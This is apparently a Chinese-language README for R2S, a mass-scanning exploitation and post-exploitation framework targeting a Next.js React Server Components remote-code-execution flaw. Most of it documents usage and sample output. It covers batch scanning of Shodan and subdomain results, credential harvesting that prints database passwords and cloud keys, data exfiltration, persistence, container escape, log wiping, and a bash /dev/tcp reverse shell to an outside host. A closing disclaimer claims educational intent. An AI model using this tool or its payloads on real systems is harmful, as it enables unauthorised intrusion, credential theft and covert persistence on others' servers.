R2S是一个全面的利用和后利用框架,针对Next.js React Server Components漏洞(CVE-2025-55182)。它提供具有高级功能的交互式shell,用于渗透测试,包括文件传输、持久化、枚举、权限提升检查等。
R2S 是一个针对 Next.js React Server Components 漏洞(CVE-2025-55182)的综合性利用与后渗透利用框架。它提供了一个交互式 shell,具备高级功能,可用于渗透测试,包括文件传输、持久化、枚举、权限提升检测等。
.env 文件和配置文件# Python 3.6 或更高版本
python3 --version
# 安装依赖
pip3 install requests urllib3
# 克隆或下载工具
cd r2s-main
# 赋予可执行权限(可选)
chmod +x r2s_enhanced.py
# 运行工具
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [选项]
| 选项 | 描述 | 默认值 |
|---|---|---|
-u, --url | 单个目标 URL | - |
-l, --list | 包含 URL 列表的文件 | - |
-c, --cmd | 初始执行的命令 | id |
-t, --threads | 扫描线程数 | 30 |
-p, --proxy | HTTP 代理(如 http://127.0.0.1:8080) | - |
-v, --verbose | 启用详细输出 | False |
--http-port | 用于文件传输的 HTTP 服务器端口 | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
获得 RCE 访问权限后,你将进入一个交互式 shell,可使用以下命令:
upload <本地文件> <远程路径> # 上传文件到目标
download <远程文件> <本地路径> # 从目标下载文件
cd <目录> # 切换工作目录
pwd # 显示当前工作目录
enum # 完整系统枚举
privesc # 权限提升检查
harvest # 凭据收集
portscan <IP> # 扫描内部网络端口
memdump [PID] # 转储进程内存以获取机密
lateral # 横向移动机会
escape # 容器逃逸向量
exfil [类型] # 渗漏数据(env/config/keys/db/logs/all)
reverse <lhost> <lport> # 尝试多种反向 shell 载荷
persist # 添加基本持久化
advpersist # 添加高级持久化
stealth # 清除日志并隐藏痕迹
save # 保存当前会话
help, ? # 显示帮助信息
exit, quit # 退出交互式 shell
直接执行任何 shell 命令:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC 漏洞利用工具 (CVE-2025-55182)
批量扫描器 & 管道版 (v4.1.0 - 增强版)
>> 致谢 ( G4rxd )
[*] 已加载 1 个目标。使用 30 个线程开始扫描...
[*] 载荷命令: id
[VULN] http://vulnerable-app.com >>> RCE 成功
输出: uid=1000(node) gid=1000(node) groups=1000(node)
[+] 状态化交互式 RCE shell 已启动。输入 'help' 查看命令。
[*] 高级功能: enum, privesc, persist, portscan, harvest, stealth
[*] 新功能: memdump, lateral, escape, exfil, advpersist, reverse
[+] HTTP 服务器已在 192.168.1.100:8000 启动
next-rce:/app$
next-rce:/app$ enum
[*] 开始自动枚举...
============================================================
[*] 系统信息
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] 当前用户
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] 容器检测
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker 容器已检测到]
...
# 上传文件
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] 正在通过 HTTP 上传 /tmp/exploit.sh (2048 字节)...
[+] 上传成功!
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# 下载文件
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] 正在通过 HTTP 下载 /etc/passwd...
[+] 下载成功! (1523 字节)
已保存到: ./passwd.txt
next-rce:/app$ harvest
[*] 正在收集凭据...
[*] 环境变量:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] .env 文件:
/app/.env
/app/.env.production
/var/www/.env.local
[*] SSH 密钥:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] 开始向 192.168.1.100:4444 尝试反向 shell
[!] 请确保你已运行监听器: nc -lvnp 4444
[*] 正在尝试 25 种不同的反向 shell 载荷...
[1/25] 尝试 Bash TCP... ✓ 已执行
[?] 你收到连接了吗?(y/n/s 停止): y
[+] 成功! 反向 shell 已建立,使用: Bash TCP
[*] 载荷: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] 已加载 3 个目标。使用 50 个线程开始扫描...
[VULN] http://app1.example.com >>> RCE 成功
[VULN] http://app3.example.com >>> RCE 成功
[*] 扫描完成。
next-rce:/app$ privesc
[*] 正在检查权限提升向量...
[*] SUID 二进制文件:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] sudo 权限:
用户 node 可以运行以下命令:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Docker 组:
在 docker 组中 - 可被利用!
...
next-rce:/app$ escape
[*] 正在检查容器逃逸向量...
[*] 容器类型:
12:devices:/docker/a1b2c3d4e5f6
[*] 特权容器:
PRIVILEGED
[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] 能力:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[完全能力 - 容器具有特权]
...
该工具包含 25+ 种反向 shell 载荷,涵盖多种语言和技术:
自动检测并提取以下凭据:
识别并分析:
仅限教育和授权测试使用
此工具仅供教育目的和授权渗透测试使用。未经事先双方同意而使用此工具攻击目标是非法的。作者不对因使用此工具而产生的任何滥用或损害负责。
合法使用要求:
检测:
Next-Action 标头child_process.execSync缓解措施:
欢迎贡献!请确保所有贡献均用于教育和防御性安全目的。
G4rxd
本项目仅许可用于教育和授权测试目的。
⚡ 祝道德黑客快乐!⚡
记住:能力越大,责任越大。